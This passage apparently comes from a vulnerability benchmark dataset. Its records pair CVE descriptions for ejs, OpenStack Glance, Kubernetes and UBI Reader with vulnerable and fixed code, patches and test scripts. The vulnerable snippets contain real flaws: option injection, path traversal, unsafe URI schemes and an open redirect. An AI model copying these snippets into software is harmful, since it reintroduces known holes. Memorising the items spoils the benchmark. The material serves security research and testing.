options.minimize;\n+  var ret = {};\n+  var hasKeys;\n+  var val;\n+  var k;\n \n-  while (i--) {\n-    key = keys[i];\n-    if ('undefined' === typeof to[key]) {\n-      to[key] = from[key];\n-    } else {\n-      if (exports.isObject(from[key])) {\n-        merge(to[key], from[key]);\n-      } else {\n-        to[key] = from[key];\n-      }\n+  for (k in obj) {\n+    // Not technically prototype pollution because this wouldn't merge properties\n+    // onto `Object.prototype`, but avoid properties like __proto__ as a precaution.\n+    if (specialProperties.indexOf(k) !== -1) {\n+      continue;\n+    }\n+\n+    val = clone(obj[k], options);\n+\n+    if (!minimize || ('undefined' !== typeof val)) {\n+      hasKeys || (hasKeys = true);\n+      ret[k] = val;\n     }\n   }\n+\n+  return minimize\n+    ? hasKeys && ret\n+    : ret;\n };\n\n--- /dev/null\n+++ b/lib/utils.js\n@@ -0,0 +1,21 @@\n+exports.merge = function merge(to, from) {\n+  var keys = Object.keys(from),\n+      i = keys.length,\n+      key;\n+\n+  while (i--) {\n+    key = keys[i];\n+    if (specialProperties.indexOf(key) !== -1) {\n+      continue;\n+    }\n+    if ('undefined' === typeof to[key]) {\n+      to[key] = from[key];\n+    } else {\n+      if (exports.isObject(from[key])) {\n+        merge(to[key], from[key]);\n+      } else {\n+        to[key] = from[key];\n+      }\n+    }\n+  }\n+};\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-1000189", "cve_description": "nodejs ejs version older than 2.5.5 is vulnerable to a denial-of-service due to weak input validation in the ejs.renderFile()", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/mde/ejs", "patch_url": ["https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_67_1", "commit": "7eaba6ad", "file_path": "lib/ejs.js", "start_line": 268, "end_line": 281, "snippet": "function cpOptsInData(data, opts) {\n  _OPTS.forEach(function (p) {\n    if (typeof data[p] != 'undefined') {\n      // Disallow setting the root opt for includes via a passed data obj\n      // Unsanitized, parameterized use of `render` could allow the\n      // include directory to be reset, opening up the possibility of\n      // remote code execution\n      if (p == 'root') {\n        return;\n      }\n      opts[p] = data[p];\n    }\n  });\n}"}], "fix_func": [{"id": "fix_js_67_1", "commit": "49264e0037e313a0a3e033450b5c184112516d8f", "file_path": "lib/ejs.js", "start_line": 274, "end_line": 285, "snippet": "function cpOptsInData(data, opts) {\n  _OPTS.forEach(function (p) {\n    if (typeof data[p] != 'undefined') {\n      // Disallow passing potentially dangerous opts in the data\n      // These opts should not be settable via a `render` call\n      if (_OPTS_IN_DATA_BLACKLIST[p]) {\n        return;\n      }\n      opts[p] = data[p];\n    }\n  });\n}"}, {"id": "fix_js_67_2", "commit": "49264e0037e313a0a3e033450b5c184112516d8f", "file_path": "lib/ejs.js", "start_line": 59, "end_line": 64, "snippet": "var _OPTS_IN_DATA_BLACKLIST = {\n      cache: true,\n      filename: true,\n      root: true,\n      localsName: true\n    };"}], "vul_patch": "--- a/lib/ejs.js\n+++ b/lib/ejs.js\n@@ -1,11 +1,9 @@\n function cpOptsInData(data, opts) {\n   _OPTS.forEach(function (p) {\n     if (typeof data[p] != 'undefined') {\n-      // Disallow setting the root opt for includes via a passed data obj\n-      // Unsanitized, parameterized use of `render` could allow the\n-      // include directory to be reset, opening up the possibility of\n-      // remote code execution\n-      if (p == 'root') {\n+      // Disallow passing potentially dangerous opts in the data\n+      // These opts should not be settable via a `render` call\n+      if (_OPTS_IN_DATA_BLACKLIST[p]) {\n         return;\n       }\n       opts[p] = data[p];\n\n--- /dev/null\n+++ b/lib/ejs.js\n@@ -0,0 +1,6 @@\n+var _OPTS_IN_DATA_BLACKLIST = {\n+      cache: true,\n+      filename: true,\n+      root: true,\n+      localsName: true\n+    };\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-1000189:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/ejs\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep \"disallow unsafe opts passed along in data\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-1000189:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/ejs\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha --timeout 3000 test/ejs.js --grep \"whitespace slurp and rmWhitespace work\" --invert"}
{"cve_id": "CVE-2015-1195", "cve_description": "The V2 API in OpenStack Image Registry and Delivery Service (Glance) before 2014.1.4 and 2014.2.x before 2014.2.2 allows remote authenticated users to read or delete arbitrary files via a full pathname in a filesystem: URL in the image location property.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-9493.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/openstack/glance", "patch_url": ["https://github.com/openstack/glance/commit/5191ed1879c5fd5b2694f922bcedec232f461088", "https://github.com/openstack/glance/commit/a2d986b976e9325a272e2d422465165315d19fe6", "https://github.com/openstack/glance/commit/7d3a1db33ccbd25b9fc7326ce3468eabd2a41a99"], "programing_language": "Python", "vul_func": [{"id": "vul_py_407_1", "commit": "42564be7ea133313a52639c27172d035390da1f2", "file_path": "glance/common/store_utils.py", "start_line": 125, "end_line": 143, "snippet": "def validate_external_location(uri):\n    \"\"\"\n    Validate if URI of external location are supported.\n\n    Only over non-local store types are OK, i.e. S3, Swift,\n    HTTP. Note the absence of 'file://' for security reasons,\n    see LP bug #942118, 1400966, 'swift+config://' is also\n    absent for security reasons, see LP bug #1334196.\n\n    :param uri: The URI of external image location.\n    :return: Whether given URI of external image location are OK.\n    \"\"\"\n\n    # TODO(zhiyan): This function could be moved to glance_store.\n\n    pieces = urlparse.urlparse(uri)\n    valid_schemes = [scheme for scheme in store_api.get_known_schemes()\n                     if scheme != 'file' and scheme != 'swift+config']\n    return pieces.scheme in valid_schemes"}], "fix_func": [{"id": "fix_py_407_1", "commit": "5191ed1879c5fd5b2694f922bcedec232f461088", "file_path": "glance/common/store_utils.py", "start_line": 127, "end_line": 144, "snippet": "def validate_external_location(uri):\n    \"\"\"\n    Validate if URI of external location are supported.\n\n    Only over non-local store types are OK, i.e. S3, Swift,\n    HTTP. Note the absence of 'file://' for security reasons,\n    see LP bug #942118, 1400966, 'swift+config://' is also\n    absent for security reasons, see LP bug #1334196.\n\n    :param uri: The URI of external image location.\n    :return: Whether given URI of external image location are OK.\n    \"\"\"\n\n    # TODO(zhiyan): This function could be moved to glance_store.\n    # TODO(gm): Use a whitelist of allowed schemes\n    scheme = urlparse.urlparse(uri).scheme\n    return (scheme in store_api.get_known_schemes() and\n            scheme not in RESTRICTED_URI_SCHEMAS)"}], "vul_patch": "--- a/glance/common/store_utils.py\n+++ b/glance/common/store_utils.py\n@@ -12,8 +12,7 @@\n     \"\"\"\n \n     # TODO(zhiyan): This function could be moved to glance_store.\n-\n-    pieces = urlparse.urlparse(uri)\n-    valid_schemes = [scheme for scheme in store_api.get_known_schemes()\n-                     if scheme != 'file' and scheme != 'swift+config']\n-    return pieces.scheme in valid_schemes\n+    # TODO(gm): Use a whitelist of allowed schemes\n+    scheme = urlparse.urlparse(uri).scheme\n+    return (scheme in store_api.get_known_schemes() and\n+            scheme not in RESTRICTED_URI_SCHEMAS)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-8559", "cve_description": "The Kubernetes kube-apiserver in versions v1.6-v1.15, and versions prior to v1.16.13, v1.17.9 and v1.18.6 are vulnerable to an unvalidated redirect on proxied upgrade requests that could allow an attacker to escalate privileges from a node compromise to a full cluster compromise.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/kubernetes/kubernetes", "patch_url": ["https://github.com/kubernetes/kubernetes/commit/dcf60e04ddd6c50c8bf9b0c9d913bf82bff44333"], "programing_language": "Go", "vul_func": [{"id": "vul_go_62_1", "commit": "165a221", "file_path": "staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go", "start_line": 257, "end_line": 391, "snippet": "func (h *UpgradeAwareHandler) tryUpgrade(w http.ResponseWriter, req *http.Request) bool {\n\tif !httpstream.IsUpgradeRequest(req) {\n\t\tklog.V(6).Infof(\"Request was not an upgrade\")\n\t\treturn false\n\t}\n\n\tvar (\n\t\tbackendConn net.Conn\n\t\trawResponse []byte\n\t\terr         error\n\t)\n\n\tlocation := *h.Location\n\tif h.UseRequestLocation {\n\t\tlocation = *req.URL\n\t\tlocation.Scheme = h.Location.Scheme\n\t\tlocation.Host = h.Location.Host\n\t}\n\n\tclone := utilnet.CloneRequest(req)\n\t// Only append X-Forwarded-For in the upgrade path, since httputil.NewSingleHostReverseProxy\n\t// handles this in the non-upgrade path.\n\tutilnet.AppendForwardedForHeader(clone)\n\tif h.InterceptRedirects {\n\t\tklog.V(6).Infof(\"Connecting to backend proxy (intercepting redirects) %s\\n  Headers: %v\", &location, clone.Header)\n\t\tbackendConn, rawResponse, err = utilnet.ConnectWithRedirects(req.Method, &location, clone.Header, req.Body, utilnet.DialerFunc(h.DialForUpgrade), h.RequireSameHostRedirects)\n\t} else {\n\t\tklog.V(6).Infof(\"Connecting to backend proxy (direct dial) %s\\n  Headers: %v\", &location, clone.Header)\n\t\tclone.URL = &location\n\t\tbackendConn, err = h.DialForUpgrade(clone)\n\t}\n\tif err != nil {\n\t\tklog.V(6).Infof(\"Proxy connection error: %v\", err)\n\t\th.Responder.Error(w, req, err)\n\t\treturn true\n\t}\n\tdefer backendConn.Close()\n\n\t// determine the http response code from the backend by reading from rawResponse+backendConn\n\tbackendHTTPResponse, headerBytes, err := getResponse(io.MultiReader(bytes.NewReader(rawResponse), backendConn))\n\tif err != nil {\n\t\tklog.V(6).Infof(\"Proxy connection error: %v\", err)\n\t\th.Responder.Error(w, req, err)\n\t\treturn true\n\t}\n\tif len(headerBytes) > len(rawResponse) {\n\t\t// we read beyond the bytes stored in rawResponse, update rawResponse to the full set of bytes read from the backend\n\t\trawResponse = headerBytes\n\t}\n\n\t// Once the connection is hijacked, the ErrorResponder will no longer work, so\n\t// hijacking should be the last step in the upgrade.\n\trequestHijacker, ok := w.(http.Hijacker)\n\tif !ok {\n\t\tklog.V(6).Infof(\"Unable to hijack response writer: %T\", w)\n\t\th.Responder.Error(w, req, fmt.Errorf(\"request connection cannot be hijacked: %T\", w))\n\t\treturn true\n\t}\n\trequestHijackedConn, _, err := requestHijacker.Hijack()\n\tif err != nil {\n\t\tklog.V(6).Infof(\"Unable to hijack response: %v\", err)\n\t\th.Responder.Error(w, req, fmt.Errorf(\"error hijacking connection: %v\", err))\n\t\treturn true\n\t}\n\tdefer requestHijackedConn.Close()\n\n\tif backendHTTPResponse.StatusCode != http.StatusSwitchingProtocols {\n\t\t// If the backend did not upgrade the request, echo the response from the backend to the client and return, closing the connection.\n\t\tklog.V(6).Infof(\"Proxy upgrade error, status code %d\", backendHTTPResponse.StatusCode)\n\t\t// set read/write deadlines\n\t\tdeadline := time.Now().Add(10 * time.Second)\n\t\tbackendConn.SetReadDeadline(deadline)\n\t\trequestHijackedConn.SetWriteDeadline(deadline)\n\t\t// write the response to the client\n\t\terr := backendHTTPResponse.Write(requestHijackedConn)\n\t\tif err != nil && !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\tklog.Errorf(\"Error proxying data from backend to client: %v\", err)\n\t\t}\n\t\t// Indicate we handled the request\n\t\treturn true\n\t}\n\n\t// Forward raw response bytes back to client.\n\tif len(rawResponse) > 0 {\n\t\tklog.V(6).Infof(\"Writing %d bytes to hijacked connection\", len(rawResponse))\n\t\tif _, err = requestHijackedConn.Write(rawResponse); err != nil {\n\t\t\tutilruntime.HandleError(fmt.Errorf(\"Error proxying response from backend to client: %v\", err))\n\t\t}\n\t}\n\n\t// Proxy the connection. This is bidirectional, so we need a goroutine\n\t// to copy in each direction. Once one side of the connection exits, we\n\t// exit the function which performs cleanup and in the process closes\n\t// the other half of the connection in the defer.\n\twriterComplete := make(chan struct{})\n\treaderComplete := make(chan struct{})\n\n\tgo func() {\n\t\tvar writer io.WriteCloser\n\t\tif h.MaxBytesPerSec > 0 {\n\t\t\twriter = flowrate.NewWriter(backendConn, h.MaxBytesPerSec)\n\t\t} else {\n\t\t\twriter = backendConn\n\t\t}\n\t\t_, err := io.Copy(writer, requestHijackedConn)\n\t\tif err != nil && !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\tklog.Errorf(\"Error proxying data from client to backend: %v\", err)\n\t\t}\n\t\tclose(writerComplete)\n\t}()\n\n\tgo func() {\n\t\tvar reader io.ReadCloser\n\t\tif h.MaxBytesPerSec > 0 {\n\t\t\treader = flowrate.NewReader(backendConn, h.MaxBytesPerSec)\n\t\t} else {\n\t\t\treader = backendConn\n\t\t}\n\t\t_, err := io.Copy(requestHijackedConn, reader)\n\t\tif err != nil && !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\tklog.Errorf(\"Error proxying data from backend to client: %v\", err)\n\t\t}\n\t\tclose(readerComplete)\n\t}()\n\n\t// Wait for one half the connection to exit. Once it does the defer will\n\t// clean up the other half of the connection.\n\tselect {\n\tcase <-writerComplete:\n\tcase <-readerComplete:\n\t}\n\tklog.V(6).Infof(\"Disconnecting from backend proxy %s\\n  Headers: %v\", &location, clone.Header)\n\n\treturn true\n}"}], "fix_func": [{"id": "fix_go_62_1", "commit": "dcf60e0", "file_path": "staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go", "start_line": 257, "end_line": 401, "snippet": "func (h *UpgradeAwareHandler) tryUpgrade(w http.ResponseWriter, req *http.Request) bool {\n\tif !httpstream.IsUpgradeRequest(req) {\n\t\tklog.V(6).Infof(\"Request was not an upgrade\")\n\t\treturn false\n\t}\n\n\tvar (\n\t\tbackendConn net.Conn\n\t\trawResponse []byte\n\t\terr         error\n\t)\n\n\tlocation := *h.Location\n\tif h.UseRequestLocation {\n\t\tlocation = *req.URL\n\t\tlocation.Scheme = h.Location.Scheme\n\t\tlocation.Host = h.Location.Host\n\t}\n\n\tclone := utilnet.CloneRequest(req)\n\t// Only append X-Forwarded-For in the upgrade path, since httputil.NewSingleHostReverseProxy\n\t// handles this in the non-upgrade path.\n\tutilnet.AppendForwardedForHeader(clone)\n\tif h.InterceptRedirects {\n\t\tklog.V(6).Infof(\"Connecting to backend proxy (intercepting redirects) %s\\n  Headers: %v\", &location, clone.Header)\n\t\tbackendConn, rawResponse, err = utilnet.ConnectWithRedirects(req.Method, &location, clone.Header, req.Body, utilnet.DialerFunc(h.DialForUpgrade), h.RequireSameHostRedirects)\n\t} else {\n\t\tklog.V(6).Infof(\"Connecting to backend proxy (direct dial) %s\\n  Headers: %v\", &location, clone.Header)\n\t\tclone.URL = &location\n\t\tbackendConn, err = h.DialForUpgrade(clone)\n\t}\n\tif err != nil {\n\t\tklog.V(6).Infof(\"Proxy connection error: %v\", err)\n\t\th.Responder.Error(w, req, err)\n\t\treturn true\n\t}\n\tdefer backendConn.Close()\n\n\t// determine the http response code from the backend by reading from rawResponse+backendConn\n\tbackendHTTPResponse, headerBytes, err := getResponse(io.MultiReader(bytes.NewReader(rawResponse), backendConn))\n\tif err != nil {\n\t\tklog.V(6).Infof(\"Proxy connection error: %v\", err)\n\t\th.Responder.Error(w, req, err)\n\t\treturn true\n\t}\n\tif len(headerBytes) > len(rawResponse) {\n\t\t// we read beyond the bytes stored in rawResponse, update rawResponse to the full set of bytes read from the backend\n\t\trawResponse = headerBytes\n\t}\n\n\t// If the backend did not upgrade the request, return an error to the client. If the response was\n\t// an error, the error is forwarded directly after the connection is hijacked. Otherwise, just\n\t// return a generic error here.\n\tif backendHTTPResponse.StatusCode != http.StatusSwitchingProtocols && backendHTTPResponse.StatusCode < 400 {\n\t\terr := fmt.Errorf(\"invalid upgrade response: status code %d\", backendHTTPResponse.StatusCode)\n\t\tklog.Errorf(\"Proxy upgrade error: %v\", err)\n\t\th.Responder.Error(w, req, err)\n\t\treturn true\n\t}\n\n\t// Once the connection is hijacked, the ErrorResponder will no longer work, so\n\t// hijacking should be the last step in the upgrade.\n\trequestHijacker, ok := w.(http.Hijacker)\n\tif !ok {\n\t\tklog.V(6).Infof(\"Unable to hijack response writer: %T\", w)\n\t\th.Responder.Error(w, req, fmt.Errorf(\"request connection cannot be hijacked: %T\", w))\n\t\treturn true\n\t}\n\trequestHijackedConn, _, err := requestHijacker.Hijack()\n\tif err != nil {\n\t\tklog.V(6).Infof(\"Unable to hijack response: %v\", err)\n\t\th.Responder.Error(w, req, fmt.Errorf(\"error hijacking connection: %v\", err))\n\t\treturn true\n\t}\n\tdefer requestHijackedConn.Close()\n\n\tif backendHTTPResponse.StatusCode != http.StatusSwitchingProtocols {\n\t\t// If the backend did not upgrade the request, echo the response from the backend to the client and return, closing the connection.\n\t\tklog.V(6).Infof(\"Proxy upgrade error, status code %d\", backendHTTPResponse.StatusCode)\n\t\t// set read/write deadlines\n\t\tdeadline := time.Now().Add(10 * time.Second)\n\t\tbackendConn.SetReadDeadline(deadline)\n\t\trequestHijackedConn.SetWriteDeadline(deadline)\n\t\t// write the response to the client\n\t\terr := backendHTTPResponse.Write(requestHijackedConn)\n\t\tif err != nil && !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\tklog.Errorf(\"Error proxying data from backend to client: %v\", err)\n\t\t}\n\t\t// Indicate we handled the request\n\t\treturn true\n\t}\n\n\t// Forward raw response bytes back to client.\n\tif len(rawResponse) > 0 {\n\t\tklog.V(6).Infof(\"Writing %d bytes to hijacked connection\", len(rawResponse))\n\t\tif _, err = requestHijackedConn.Write(rawResponse); err != nil {\n\t\t\tutilruntime.HandleError(fmt.Errorf(\"Error proxying response from backend to client: %v\", err))\n\t\t}\n\t}\n\n\t// Proxy the connection. This is bidirectional, so we need a goroutine\n\t// to copy in each direction. Once one side of the connection exits, we\n\t// exit the function which performs cleanup and in the process closes\n\t// the other half of the connection in the defer.\n\twriterComplete := make(chan struct{})\n\treaderComplete := make(chan struct{})\n\n\tgo func() {\n\t\tvar writer io.WriteCloser\n\t\tif h.MaxBytesPerSec > 0 {\n\t\t\twriter = flowrate.NewWriter(backendConn, h.MaxBytesPerSec)\n\t\t} else {\n\t\t\twriter = backendConn\n\t\t}\n\t\t_, err := io.Copy(writer, requestHijackedConn)\n\t\tif err != nil && !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\tklog.Errorf(\"Error proxying data from client to backend: %v\", err)\n\t\t}\n\t\tclose(writerComplete)\n\t}()\n\n\tgo func() {\n\t\tvar reader io.ReadCloser\n\t\tif h.MaxBytesPerSec > 0 {\n\t\t\treader = flowrate.NewReader(backendConn, h.MaxBytesPerSec)\n\t\t} else {\n\t\t\treader = backendConn\n\t\t}\n\t\t_, err := io.Copy(requestHijackedConn, reader)\n\t\tif err != nil && !strings.Contains(err.Error(), \"use of closed network connection\") {\n\t\t\tklog.Errorf(\"Error proxying data from backend to client: %v\", err)\n\t\t}\n\t\tclose(readerComplete)\n\t}()\n\n\t// Wait for one half the connection to exit. Once it does the defer will\n\t// clean up the other half of the connection.\n\tselect {\n\tcase <-writerComplete:\n\tcase <-readerComplete:\n\t}\n\tklog.V(6).Infof(\"Disconnecting from backend proxy %s\\n  Headers: %v\", &location, clone.Header)\n\n\treturn true\n}"}], "vul_patch": "--- a/staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go\n+++ b/staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go\n@@ -46,6 +46,16 @@\n \tif len(headerBytes) > len(rawResponse) {\n \t\t// we read beyond the bytes stored in rawResponse, update rawResponse to the full set of bytes read from the backend\n \t\trawResponse = headerBytes\n+\t}\n+\n+\t// If the backend did not upgrade the request, return an error to the client. If the response was\n+\t// an error, the error is forwarded directly after the connection is hijacked. Otherwise, just\n+\t// return a generic error here.\n+\tif backendHTTPResponse.StatusCode != http.StatusSwitchingProtocols && backendHTTPResponse.StatusCode < 400 {\n+\t\terr := fmt.Errorf(\"invalid upgrade response: status code %d\", backendHTTPResponse.StatusCode)\n+\t\tklog.Errorf(\"Proxy upgrade error: %v\", err)\n+\t\th.Responder.Error(w, req, err)\n+\t\treturn true\n \t}\n \n \t// Once the connection is hijacked, the ErrorResponder will no longer work, so\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-8559:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/kubernetes\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestProxyUpgradeErrorResponse$ k8s.io/apimachinery/pkg/util/proxy\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-8559:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/kubernetes\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestNewWarningHeader|TestGetClientIP|TestAppendForwardedForHeader|TestProxyUpgrade|TestTLSClientConfigHolder|TestConnectWithRedirects|TestP\nroxyUpgradeErrorResponseTerminates|TestJoinPreservingTrailingSlash|TestE\nrrorPropagation|TestSourceIPs|TestServeHTTP|TestProxyUpgradeErrorRespons\ne|TestIsProbableEOF|TestFlushIntervalHeaders|TestParseWarningHeaders|Tes\ntAllowsHTTP2|TestProxierWithNoProxyCIDR|TestParseWarningHeader|TestDefau\nltProxyTransport)$' k8s.io/apimachinery/pkg/util/proxy"}
{"cve_id": "CVE-2022-4572", "cve_description": "A vulnerability, which was classified as problematic, has been found in UBI Reader up to 0.8.0. Affected by this issue is the function ubireader_extract_files of the file ubireader/ubifs/output.py of the component UBIFS File Handler. The manipulation leads to path traversal. The attack may be launched remotely. Upgrading to version 0.8.5 is able to address this issue. The name of the patch is d5d68e6b1b9f7070c29df5f67fc060f579ae9139. It is recommended to upgrade the affected component. VDB-216146 is the identifier assigned to this vulnerability.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/jrspruitt/ubi_reader", "patch_url": ["https://github.com/jrspruitt/ubi_reader/commit/d5d68e6b1b9f7070c29df5f67fc060f579ae9139"], "programing_language": "Python", "vul_func": [{"id": "vul_py_229_1", "commit": "b04b1bd", "file_path": "ubireader/ubifs/output.py", "start_line": 56, "end_line": 148, "snippet": "def extract_dents(ubifs, inodes, dent_node, path='', perms=False):\n    if dent_node.inum not in inodes:\n        error(extract_dents, 'Error', 'inum: %s not found in inodes' % (dent_node.inum))\n        return\n\n    inode = inodes[dent_node.inum]\n    dent_path = os.path.join(path, dent_node.name)\n        \n    if dent_node.type == UBIFS_ITYPE_DIR:\n        try:\n            if not os.path.exists(dent_path):\n                os.mkdir(dent_path)\n                log(extract_dents, 'Make Dir: %s' % (dent_path))\n\n                if perms:\n                    _set_file_perms(dent_path, inode)\n        except Exception as e:\n            error(extract_dents, 'Warn', 'DIR Fail: %s' % e)\n\n        if 'dent' in inode:\n            for dnode in inode['dent']:\n                extract_dents(ubifs, inodes, dnode, dent_path, perms)\n\n        _set_file_timestamps(dent_path, inode)\n\n    elif dent_node.type == UBIFS_ITYPE_REG:\n        try:\n            if inode['ino'].nlink > 1:\n                if 'hlink' not in inode:\n                    inode['hlink'] = dent_path\n                    buf = _process_reg_file(ubifs, inode, dent_path)\n                    _write_reg_file(dent_path, buf)\n                else:\n                    os.link(inode['hlink'], dent_path)\n                    log(extract_dents, 'Make Link: %s > %s' % (dent_path, inode['hlink']))\n            else:\n                buf = _process_reg_file(ubifs, inode, dent_path)\n                _write_reg_file(dent_path, buf)\n\n            _set_file_timestamps(dent_path, inode)\n\n            if perms:\n                _set_file_perms(dent_path, inode)\n\n        except Exception as e:\n            error(extract_dents, 'Warn', 'FILE Fail: %s' % e)\n\n    elif dent_node.type == UBIFS_ITYPE_LNK:\n        try:\n            # probably will need to decompress ino data if > UBIFS_MIN_COMPR_LEN\n            os.symlink('%s' % inode['ino'].data.decode('utf-8'), dent_path)\n            log(extract_dents, 'Make Symlink: %s > %s' % (dent_path, inode['ino'].data))\n\n        except Exception as e:\n            error(extract_dents, 'Warn', 'SYMLINK Fail: %s' % e) \n\n    elif dent_node.type in [UBIFS_ITYPE_BLK, UBIFS_ITYPE_CHR]:\n        try:\n            dev = struct.unpack('<II', inode['ino'].data)[0]\n            if not settings.use_dummy_devices:\n                os.mknod(dent_path, inode['ino'].mode, dev)\n                log(extract_dents, 'Make Device Node: %s' % (dent_path))\n\n                if perms:\n                    _set_file_perms(dent_path, inode)\n            else:\n                log(extract_dents, 'Create dummy device.')\n                _write_reg_file(dent_path, str(dev))\n\n                if perms:\n                    _set_file_perms(dent_path, inode)\n                \n        except Exception as e:\n            error(extract_dents, 'Warn', 'DEV Fail: %s' % e)\n\n    elif dent_node.type == UBIFS_ITYPE_FIFO:\n        try:\n            os.mkfifo(dent_path, inode['ino'].mode)\n            log(extract_dents, 'Make FIFO: %s' % (path))\n\n            if perms:\n                _set_file_perms(dent_path, inode)\n        except Exception as e:\n            error(extract_dents, 'Warn', 'FIFO Fail: %s : %s' % (dent_path, e))\n\n    elif dent_node.type == UBIFS_ITYPE_SOCK:\n        try:\n            if settings.use_dummy_socket_file:\n                _write_reg_file(dent_path, '')\n                if perms:\n                    _set_file_perms(dent_path, inode)\n        except Exception as e:\n            error(extract_dents, 'Warn', 'SOCK Fail: %s : %s' % (dent_path, e))"}], "fix_func": [{"id": "fix_py_229_1", "commit": "d5d68e6", "file_path": "ubireader/ubifs/output.py", "start_line": 60, "end_line": 156, "snippet": "def extract_dents(ubifs, inodes, dent_node, path='', perms=False):\n    if dent_node.inum not in inodes:\n        error(extract_dents, 'Error', 'inum: %s not found in inodes' % (dent_node.inum))\n        return\n\n    inode = inodes[dent_node.inum]\n\n    if not is_safe_path(path, dent_node.name):\n        error(extract_dents, 'Warning', 'Path traversal attempt: %s, discarding' % (dent_node.name))\n        return\n    dent_path = os.path.realpath(os.path.join(path, dent_node.name))\n\n    if dent_node.type == UBIFS_ITYPE_DIR:\n        try:\n            if not os.path.exists(dent_path):\n                os.mkdir(dent_path)\n                log(extract_dents, 'Make Dir: %s' % (dent_path))\n\n                if perms:\n                    _set_file_perms(dent_path, inode)\n        except Exception as e:\n            error(extract_dents, 'Warn', 'DIR Fail: %s' % e)\n\n        if 'dent' in inode:\n            for dnode in inode['dent']:\n                extract_dents(ubifs, inodes, dnode, dent_path, perms)\n\n        _set_file_timestamps(dent_path, inode)\n\n    elif dent_node.type == UBIFS_ITYPE_REG:\n        try:\n            if inode['ino'].nlink > 1:\n                if 'hlink' not in inode:\n                    inode['hlink'] = dent_path\n                    buf = _process_reg_file(ubifs, inode, dent_path)\n                    _write_reg_file(dent_path, buf)\n                else:\n                    os.link(inode['hlink'], dent_path)\n                    log(extract_dents, 'Make Link: %s > %s' % (dent_path, inode['hlink']))\n            else:\n                buf = _process_reg_file(ubifs, inode, dent_path)\n                _write_reg_file(dent_path, buf)\n\n            _set_file_timestamps(dent_path, inode)\n\n            if perms:\n                _set_file_perms(dent_path, inode)\n\n        except Exception as e:\n            error(extract_dents, 'Warn', 'FILE Fail: %s' % e)\n\n    elif dent_node.type == UBIFS_ITYPE_LNK:\n        try:\n            # probably will need to decompress ino data if > UBIFS_MIN_COMPR_LEN\n            os.symlink('%s' % inode['ino'].data.decode('utf-8'), dent_path)\n            log(extract_dents, 'Make Symlink: %s > %s' % (dent_path, inode['ino'].data))\n\n        except Exception as e:\n            error(extract_dents, 'Warn', 'SYMLINK Fail: %s' % e) \n\n    elif dent_node.type in [UBIFS_ITYPE_BLK, UBIFS_ITYPE_CHR]:\n        try:\n            dev = struct.unpack('<II', inode['ino'].data)[0]\n            if not settings.use_dummy_devices:\n                os.mknod(dent_path, inode['ino'].mode, dev)\n                log(extract_dents, 'Make Device Node: %s' % (dent_path))\n\n                if perms:\n                    _set_file_perms(dent_path, inode)\n            else:\n                log(extract_dents, 'Create dummy device.')\n                _write_reg_file(dent_path, str(dev))\n\n                if perms:\n                    _set_file_perms(dent_path, inode)\n                \n        except Exception as e:\n            error(extract_dents, 'Warn', 'DEV Fail: %s' % e)\n\n    elif dent_node.type == UBIFS_ITYPE_FIFO:\n        try:\n            os.mkfifo(dent_path, inode['ino'].mode)\n            log(extract_dents, 'Make FIFO: %s' % (path))\n\n            if perms:\n                _set_file_perms(dent_path, inode)\n        except Exception as e:\n            error(extract_dents, 'Warn', 'FIFO Fail: %s : %s' % (dent_path, e))\n\n    elif dent_node.type == UBIFS_ITYPE_SOCK:\n        try:\n            if settings.use_dummy_socket_file:\n                _write_reg_file(dent_path, '')\n                if perms:\n                    _set_file_perms(dent_path, inode)\n        except Exception as e:\n            error(extract_dents, 'Warn', 'SOCK Fail: %s : %s' % (dent_path, e))"}], "vul_patch": 